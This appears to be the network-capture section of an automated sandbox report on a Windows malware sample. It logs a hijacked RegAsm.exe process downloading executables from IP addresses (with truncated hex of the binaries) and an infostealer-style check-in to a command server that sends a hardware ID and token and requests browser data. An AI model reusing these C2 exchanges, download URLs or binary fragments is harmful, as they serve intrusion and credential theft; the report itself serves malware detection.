Aug 30, 2024 03:17:06.076797009 CEST	1236	IN	Data Raw: e9 f6 03 da 05 4a cd 3f 52 58 c4 c9 cb 5e 42 b1 93 92 43 7d 44 bd 40 c0 3f 23 f6 1b e7 80 47 d0 8f bb 40 39 dd aa bc f4 51 2b 28 63 54 be 3c 60 08 4e 26 1c 55 3c 90 a0 b3 8e fb c2 f0 ea 9a e9 e5 0e f7 0c d4 93 c6 e3 dc c2 55 e3 c6 2b 3f 9a dc 2a Data Ascii: J?RX^BC}D@?#G@9Q+(cT<`N&U<U+?*6<x'LoZE69>,k}O=H.P4TjrB" x`j8=~#DxeRPe(n{R=<O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	154.216.17.134	80	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:17:05.171777964 CEST	208	OUT	HEAD /Edge/PENDXGKW.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 154.216.17.134 Cache-Control: no-cache
Aug 30, 2024 03:17:05.841382027 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu, 29 Aug 2024 11:06:31 GMT ETag: "2299a8-620d07788bbc0" Accept-Ranges: bytes Content-Length: 2267560 Content-Type: application/x-msdownload
Aug 30, 2024 03:17:05.841773033 CEST	207	OUT	GET /Edge/PENDXGKW.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 154.216.17.134 Cache-Control: no-cache
Aug 30, 2024 03:17:06.048458099 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu, 29 Aug 2024 11:06:31 GMT ETag: "2299a8-620d07788bbc0" Accept-Ranges: bytes Content-Length: 2267560 Content-Type: application/x-msdownload Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 7e f8 26 4c 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 14 01 00 00 c8 01 00 00 00 00 00 ef 1d 01 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 03 00 00 02 00 00 02 33 03 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 50 01 00 b4 00 00 00 00 a0 01 00 04 8d 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL~&L0@03P0.text `.rdata002@@.data,)pH@.rsrcP@@USVWj'uv=`2A6PPe~v8^3h3APPPp1AEE;FrP,fY-jt1At$l39wAt@9D$tt$Ph5wA2A3D$`\|$u@3D$VtPQ^T$Vt$fBBFFfu^L$3f9t@f<AuS\$VC;^tLW3jZQ39FY~9F~fAfG@;F\|6YF>f$G^_^[UQQlwAuVjjEP5wAl1At>E;Ew6rE;Es
Aug 30, 2024 03:17:06.048469067 CEST	1236	IN	Data Raw: 2c 6a 2a e8 d4 0d 00 00 50 e8 48 65 00 00 83 f8 01 59 59 74 11 c7 05 28 77 41 00 6a 00 00 00 b8 05 40 00 80 eb 20 83 0d 6c 77 41 00 01 8d 45 0c 50 6a 00 68 01 80 00 00 ff 35 dc 77 41 00 ff 15 f4 32 41 00 33 c0 c9 c2 0c 00 8b 44 24 08 85 c0 74 0c Data Ascii: ,j*PHeYYt(wAj@ lwAEPjh5wA2A3D$t(wA@:Vt$W~ ?tNF0PKu~tv<v$h1A_3^UVud1A}juuv$j}iuv$jjduVP^]=hwAtj`1A=wA
Aug 30, 2024 03:17:06.048479080 CEST	1236	IN	Data Raw: c4 08 0f 85 c5 02 00 00 ff 75 cc 8d 4d f0 e8 81 fc ff ff 8d 45 f0 50 8d 46 0c 50 8d 45 e4 50 8d 5e 24 e8 98 fd ff ff 83 c4 0c 50 8b cb e8 9b fc ff ff ff 75 e4 e8 2f 05 01 00 39 7d 14 59 0f 85 6f 02 00 00 8b 46 08 8d 55 d4 52 6a 09 ff 75 0c 66 89 Data Ascii: uMEPFPEP^$Pu/9}YoFURjuf}f}PQ;EtMu}Y^f9}u~<-f}t jeVPMruY,EF<FURjuPQ;Eu3f9}URjuF8FPQ;Et
Aug 30, 2024 03:17:06.048629999 CEST	1236	IN	Data Raw: fe 74 33 56 6a 01 6a 01 57 ff 15 50 32 41 00 56 56 56 8d 45 e4 50 ff 15 4c 32 41 00 8d 45 e4 50 ff 15 48 32 41 00 6a 01 57 ff 15 40 32 41 00 57 ff 15 3c 32 41 00 5f 5e c9 c3 53 ff 74 24 08 ff 15 64 32 41 00 8b d8 85 db 75 02 5b c3 56 57 8b 7c 24 Data Ascii: t3VjjWP2AVVVEPL2AEPH2AjW@2AW<2A_^St$d2Au[VW\|$Wt$\2A5X2AWSWS_3^@[UDSVWjL0A5d0A,wAPuuSuhuuSt&utWS`0AWS\0AtPX0Az=<wAuo5T0Ah3A
Aug 30, 2024 03:17:06.048640013 CEST	1236	IN	Data Raw: 50 89 45 f8 8d 45 98 50 ff d3 3b 45 fc 77 40 ff d7 85 c0 75 3a 8b 86 64 70 41 00 85 c0 74 25 8b 7d f8 57 50 ff 15 90 30 41 00 85 c0 74 13 ff b6 64 70 41 00 e8 88 fb 00 00 89 be 64 70 41 00 eb 16 57 eb 0e 8b 45 f8 89 86 64 70 41 00 eb 09 ff 75 f8 Data Ascii: PEEP;Ew@u:dpAt%}WP0AtdpAdpAWEdpAujYud1AdpA\pA`pA9t;`@AuS0AG3jZGQ=TpAYdpAu:%TpAjXP,wAhP0A~XP1A
Aug 30, 2024 03:17:06.048644066 CEST	1236	IN	Data Raw: ff ff 59 8b f8 57 8b ce e8 0d ec ff ff ff 74 24 0c ff 36 e8 d2 eb ff ff 59 59 89 7e 04 5f 8b c6 5e c2 04 00 8b 44 24 04 56 8b f1 3b 46 08 7c 06 50 e8 e4 eb ff ff 8b 06 5e c2 04 00 56 57 ff 74 24 0c 8b f1 e8 bd eb ff ff 59 8b f8 57 8b ce e8 33 ee Data Ascii: YWt$6YY~_^D$V;F\|P^VWt$YW3Ft$AP~YY_^AtfT$DA;tHHf9u+V3jFF^V&ffjL$@F^V3W\|$F
Aug 30, 2024 03:17:06.048649073 CEST	776	IN	Data Raw: fb ff ff 8b 45 0c 8b 75 08 8b 0e 8b f8 0f b6 04 08 eb 17 3c 0a 74 17 3c 0d 74 13 50 8d 4d e8 e8 37 fc ff ff 8b 06 47 8a 04 07 84 c0 75 e5 68 e9 fd 00 00 8d 45 e8 50 8d 45 f4 50 e8 09 fd ff ff 83 c4 0c 80 7d 10 00 5f 5e ff 75 f4 75 14 ff 35 50 70 Data Ascii: Eu<t<tPM7GuhEPEP}_^uu5PpAjj4Mj j&MuuY2YU4VWME0>fS^f~Ff=xufSY\|[PMMSjEPEPaPM
Aug 30, 2024 03:17:06.048654079 CEST	1236	IN	Data Raw: 00 77 0a 03 f7 0f b7 06 66 85 c0 75 f0 66 83 3e 2c 75 0f eb 0b 66 85 c0 74 4d 66 3d 2c 00 74 47 03 f7 0f b7 06 66 3d 7b 00 75 ea eb 30 0f b7 c0 83 e8 7b 74 12 2b c7 75 19 8d 46 02 66 83 38 7d 74 0e 8d 46 02 eb 22 8d 46 02 66 83 38 7b 75 02 8b f0 Data Ascii: wfuf>,uftMf=,tGf={u0{t+uFf8}tF"Ff8{uPfu_^[L$Vj\L$j/;~^VW\|$t$2A~!FPPPt$2Af$pw_^UtSVuWj@EPV2AtIh3
Aug 30, 2024 03:17:06.048861027 CEST	1236	IN	Data Raw: 6a 22 eb 03 ff 75 ec 8d 4d e0 e8 70 f4 ff ff 8b 03 6a 05 03 c6 68 d4 34 41 00 50 ff d7 83 c4 0c 85 c0 75 84 8b 03 6a 05 03 c6 68 d4 34 41 00 50 ff d7 83 c4 0c 85 c0 75 d6 eb 23 80 f9 22 74 27 80 f9 5c 75 08 80 7c 30 01 22 75 01 46 0f b6 04 30 46 Data Ascii: j"uMpjh4APujh4APu#"t'\u\|0"uF0FPMu!0u<tFuhEPEPPMuEP50AYYh4AuuPj=M}}t?juu4t)h
Aug 30, 2024 03:17:06.048872948 CEST	1236	IN	Data Raw: ff ff 59 8d 44 46 02 50 8d 4d f0 e8 84 dc ff ff 6a 2e 8d 4d f0 e8 d4 ee ff ff 3b c7 7c 0a 8b 4d f0 66 89 3c 41 89 45 f4 6a 5c 8d 4d e4 e8 62 dd ff ff 39 7d b8 74 16 8d 45 b4 50 8d 4d e4 e8 0a dd ff ff 6a 5c 8d 4d e4 e8 47 dd ff ff ff 75 e4 e8 6a Data Ascii: YDFPMj.M;\|Mf<AEj\Mb9}tEPMj\MGujYEPMh4AMAEPhKAjWhKA}3AEV}PQP9}tEuPQ9}tEuPQ,9}tEuPQ$9}tESuPQDEU
Aug 30, 2024 03:17:06.049382925 CEST	1236	IN	Data Raw: 68 a0 77 41 00 56 e8 82 fe ff ff 56 e8 4d ec ff ff 83 c4 14 5e c3 68 88 77 41 00 ff 74 24 08 e8 f3 fc ff ff 59 59 e9 c5 ff ff ff 53 56 8b 35 cc 30 41 00 57 ff 74 24 14 ff d6 8b 5c 24 10 53 8b f8 ff d6 3b c7 7c 18 57 ff 74 24 18 53 ff 15 cc 31 41 Data Ascii: hwAVVM^hwAt$YYSV50AWt$\$S;\|Wt$S1Au{3_^[t$t$YYt;L$ItaIt4IuQfx:u'f0rf9v[farfzvOfArfZvC3f0rf9wf9w@@f0sf8:uf0rf9wfx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	176.113.115.33	80	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:17:05.177263021 CEST	206	OUT	HEAD /ssl/install.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.33 Cache-Control: no-cache
Aug 30, 2024 03:17:06.006055117 CEST	353	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Fri, 30 Aug 2024 01:17:05 GMT Content-Type: application/octet-stream Content-Length: 4396288 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=install.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public
Aug 30, 2024 03:17:06.006350040 CEST	205	OUT	GET /ssl/install.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.33 Cache-Control: no-cache
Aug 30, 2024 03:17:06.336713076 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Fri, 30 Aug 2024 01:17:06 GMT Content-Type: application/octet-stream Content-Length: 4396288 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=install.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 24 9b 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F$@@GD@P,B`CODED `DATAL@BSSL.idataP@.tls.rdata@P.reloc@P.rsrc,,@P@@P
Aug 30, 2024 03:17:06.336723089 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: string<@m@)@(@(@)@$)@Free0)@InitInstanceL)@Cle
Aug 30, 2024 03:17:06.336731911 CEST	448	IN	Data Raw: c6 ff ff 00 00 81 e6 00 00 ff ff 89 73 04 6a 01 68 00 20 00 00 56 6a 00 e8 f8 fd ff ff 8b f8 89 3b 85 ff 74 23 8b d3 b8 3c c4 40 00 e8 6c fe ff ff 84 c0 75 13 68 00 80 00 00 6a 00 8b 03 50 e8 d9 fd ff ff 33 c0 89 03 5f 5e 5b c3 90 53 56 57 55 8b Data Ascii: sjh Vj;t#<@luhjP3_^[SVWUCjh hU;usjh VU;t#<@uhjPb3]_^[SVWUL$$D$3T$$D$<@
Aug 30, 2024 03:17:06.336750984 CEST	1236	IN	Data Raw: 00 eb 3c 8b 5e 08 8b 7e 0c 03 fb 3b eb 76 02 8b dd 3b 7c 24 08 76 04 8b 7c 24 08 3b fb 76 1e 6a 04 68 00 10 00 00 2b fb 57 53 e8 26 fc ff ff 85 c0 75 0a 8b 44 24 04 33 d2 89 10 eb 0a 8b 36 81 fe 3c c4 40 00 75 bc 83 c4 0c 5d 5f 5e 5b c3 8b c0 53 Data Ascii: <^~;v;\|$v\|$;vjh+WS&uD$36<@u]_^[SVWUQ4$$+$A5<@8^~;$s$;s;vh@+WSu@6<@uZ]_^[@SVWUL@?]3;
Aug 30, 2024 03:17:06.336817980 CEST	1236	IN	Data Raw: 10 00 00 7f 2a 3b c2 75 10 c1 e9 02 a1 74 c4 40 00 33 d2 89 54 88 f4 eb 1d c1 e9 02 8b 1d 74 c4 40 00 89 54 8b f4 8b 00 89 02 89 50 04 5b c3 8b 00 89 02 89 50 04 5b c3 90 8b 15 78 c4 40 00 eb 10 8b 4a 08 3b c1 72 07 03 4a 0c 3b c1 72 16 8b 12 81 Data Ascii: *;ut@3Tt@TP[P[x@J;rJ;rx@u@3S\|[\|[@@\|\| SV
Aug 30, 2024 03:17:06.336829901 CEST	1236	IN	Data Raw: 03 c6 83 20 fe 8b c3 8b d6 83 ca 02 89 10 83 c0 04 ff 05 fc c3 40 00 83 ee 04 01 35 00 c4 40 00 5d 5f 5e 5b c3 55 8b ec 83 c4 f8 53 56 57 8b d8 80 3d 15 c4 40 00 00 75 13 e8 2b f9 ff ff 84 c0 75 0a 33 c0 89 45 fc e9 54 01 00 00 33 f6 55 68 48 21 Data Ascii: @5@]_^[USVW=@u+u3ET3UhH!@d6d&=2@th@X}yt@Tty B;uy5t@3\|&y=t@D2uuFu0
Aug 30, 2024 03:17:06.336841106 CEST	1236	IN	Data Raw: a9 00 00 00 80 74 21 25 fc ff ff 7f 03 c3 8b d8 8b 54 24 04 8b c3 e8 e6 f9 ff ff 84 c0 74 09 8b dd 03 df e9 0d ff ff ff 33 c0 eb 19 8b c6 2b c7 01 05 00 c4 40 00 8b 45 00 25 03 00 00 80 0b f0 89 75 00 b0 01 59 5a 5d 5f 5e 5b c3 90 55 8b ec 51 53 Data Ascii: t!%T$t3+@E%uYZ]_^[UQSVW=@u/u3E3Uh%@d2d"=2@th@\t]7%;}t-}3ZYYdh%@=2@t
Aug 30, 2024 03:17:06.336930037 CEST	1236	IN	Data Raw: ec 85 d2 74 07 e8 f3 0b 00 00 89 d8 85 f6 75 eb 5e 5b c3 8b c0 85 c0 74 10 8b 00 39 d0 74 08 8b 40 ec 85 c0 75 f5 c3 b0 01 c3 8d 40 00 57 93 8b 7b e0 85 ff 74 0d 0f b7 0f 51 83 c7 02 66 f2 af 74 0a 59 8b 5b ec 85 db 75 e5 5f c3 58 01 c0 29 c8 8b Data Ascii: tu^[t9t@u@W{tQftY[u_X)\G_9t@u@@SfftfsPXt[[aSVW11ptf>N8tfOu@u\2uIuF_^[SVW11p
Aug 30, 2024 03:17:06.336941957 CEST	1236	IN	Data Raw: 5b b8 01 00 00 00 c3 8b c0 55 31 ed 68 64 2e 40 00 64 ff 75 00 64 89 65 00 85 f6 74 0e 78 0a 4e 8b 2c b7 4e 55 79 f9 eb 02 db 2f ff d3 31 d2 31 c9 eb 47 b8 01 00 00 00 c3 e8 f3 f9 ff ff 8b 44 24 04 8b 54 24 08 f7 40 04 06 00 00 00 75 e4 83 48 04 Data Ascii: [U1hd.@dudetxN,NUy/11GD$T$@uHjPh.@R@D$Pu@@1dedE]@ZTUWVSPRTjjhR@D$0@/@tB`8tB1dY]_^[
Aug 30, 2024 03:17:06.336951971 CEST	1236	IN	Data Raw: 3f 8b 08 85 c9 0f 84 de fe ff ff 53 56 57 89 c3 89 d6 8b 79 fc 8b 56 fc 01 fa 39 ce 74 17 e8 ce 01 00 00 89 f0 8b 4e fc 8b 13 01 fa e8 54 f3 ff ff 5f 5e 5b c3 e8 b7 01 00 00 8b 03 89 f9 eb e8 c3 85 d2 74 61 85 c9 0f 84 9c fe ff ff 3b 10 74 5c 3b Data Ascii: ?SVWyV9tNT_^[ta;t\;tPQZXSVWPCFKNSXtOG_^[<ISVRP1LtAJuPDtHKuZXtJ
Aug 30, 2024 03:17:06.336962938 CEST	721	IN	Data Raw: 66 c7 00 00 01 89 50 08 c3 66 c7 00 00 00 52 50 e8 54 da ff ff 09 c0 0f 85 54 ff ff ff c3 8d 40 00 55 8b ec 83 c4 f0 53 56 57 8b f9 8b f2 8b d8 66 81 3b 00 01 75 3b 66 c7 45 f0 00 00 57 6a 00 68 00 04 00 00 56 8d 45 f0 50 e8 22 da ff ff 85 c0 74 Data Ascii: fPfRPTT@USVWf;u;fEWjhVEP"tEECECWjhVSt_^[]UQS3EBU!fEC[Y]@SVBfs^[USEff;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	76.76.21.241	80	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:17:05.182651997 CEST	183	OUT	Data Raw: 16 03 03 00 b2 01 00 00 ae 03 03 66 d1 1d 90 d3 98 70 80 88 e5 2e be de 24 50 7d 0e 1b 8e aa 1a 25 95 1b c9 30 0d 6f 43 50 61 c1 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fp.$P}%0oCPa&,+0/$#('=<5/_file-link-iota.vercel.app#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49739	76.76.21.241	80	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:17:05.672554970 CEST	129	OUT	Data Raw: 16 03 01 00 7c 01 00 00 78 03 01 66 d1 1d 91 bb c6 3e 61 aa 68 9b 76 6f 76 f9 05 b7 2c 6e b5 36 6f 2f 93 35 21 31 9d 6a 7f 47 99 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 41 00 00 00 1e 00 1c 00 00 19 66 69 6c 65 2d 6c 69 6e 6b Data Ascii: \|xf>ahvov,n6o/5!1jG5/Afile-link-iota.vercel.app#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49748	195.10.205.48	80	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:17:21.275990009 CEST	288	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Content-Length: 541 Host: 195.10.205.48
Aug 30, 2024 03:17:21.276006937 CEST	541	OUT	Data Raw: 64 61 74 61 3d 2d 72 6d 6f 47 72 42 59 4a 77 78 45 4a 53 38 39 36 43 70 67 65 56 51 52 70 42 51 74 63 4b 4d 68 35 68 71 51 49 68 4f 52 64 52 4f 48 56 34 57 79 62 4d 69 63 6f 68 55 69 61 52 36 78 69 65 4e 74 4f 34 36 6f 50 44 53 62 41 6b 51 66 76 Data Ascii: data=-rmoGrBYJwxEJS896CpgeVQRpBQtcKMh5hqQIhORdROHV4WybMicohUiaR6xieNtO46oPDSbAkQfvIQfdo_7ETQoykZjrf-k-ABDOYxM5R0hL3Yi3J3Y3Vz_FsQL5lmtb_vN7UXDqbtf-kyE-yU5oJsMKkuvb-J02lze0CQg8dljr8Rxik3gQ6CO7Rqq7jsTAc0Dp9oK55Hy5wWi5y9L2ka-l6Aqm3l4OwewZKDuUWPE3d
Aug 30, 2024 03:17:23.672045946 CEST	363	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:21 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4c 4f 48 4b 6e 46 38 4a 51 47 53 68 4a 2f 4c 72 5a 45 42 58 69 67 33 63 77 6a 4f 69 57 32 73 35 4d 4e 38 63 78 66 68 79 43 38 2b 68 46 34 35 59 53 53 33 77 6a 58 48 62 50 2f 6b 74 32 75 6b 6a 66 34 2b 7a 34 63 78 31 53 55 32 52 67 51 73 61 2f 38 51 67 71 36 51 75 56 47 45 44 76 6d 35 30 62 66 57 6d 48 5a 31 4a 62 33 38 3d Data Ascii: LOHKnF8JQGShJ/LrZEBXig3cwjOiW2s5MN8cxfhyC8+hF45YSS3wjXHbP/kt2ukjf4+z4cx1SU2RgQsa/8Qgq6QuVGEDvm50bfWmHZ1Jb38=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	46.8.231.109	80	352	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:17:27.587177992 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 03:17:28.226097107 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 03:17:29.063818932 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEBAKKJKKEBKFIDBFBA Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 42 30 31 42 33 39 30 31 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 2d 2d 0d 0a Data Ascii: ------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="hwid"53B01B3901222838420810------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="build"default------AAEBAKKJKKEBKFIDBFBA--
Aug 30, 2024 03:17:29.867268085 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 7a 6b 31 4d 44 6b 34 4e 44 59 33 5a 54 55 31 59 6a 4d 30 4f 47 55 79 4e 6a 55 33 4e 54 49 30 4e 6d 4a 6a 59 54 45 79 59 6a 45 35 4d 6d 5a 6b 5a 57 46 6a 59 7a 4d 35 4f 47 49 30 5a 6a 49 32 4d 6a 68 6a 4e 6a 4a 69 59 57 45 31 4f 44 49 31 4d 44 45 7a 59 57 49 34 4f 57 45 79 4d 54 5a 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Nzk1MDk4NDY3ZTU1YjM0OGUyNjU3NTI0NmJjYTEyYjE5MmZkZWFjYzM5OGI0ZjI2MjhjNjJiYWE1ODI1MDEzYWI4OWEyMTZifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Aug 30, 2024 03:17:30.486949921 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHD Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"browsers------HJEBGHIEBFIJKECBKFHD--
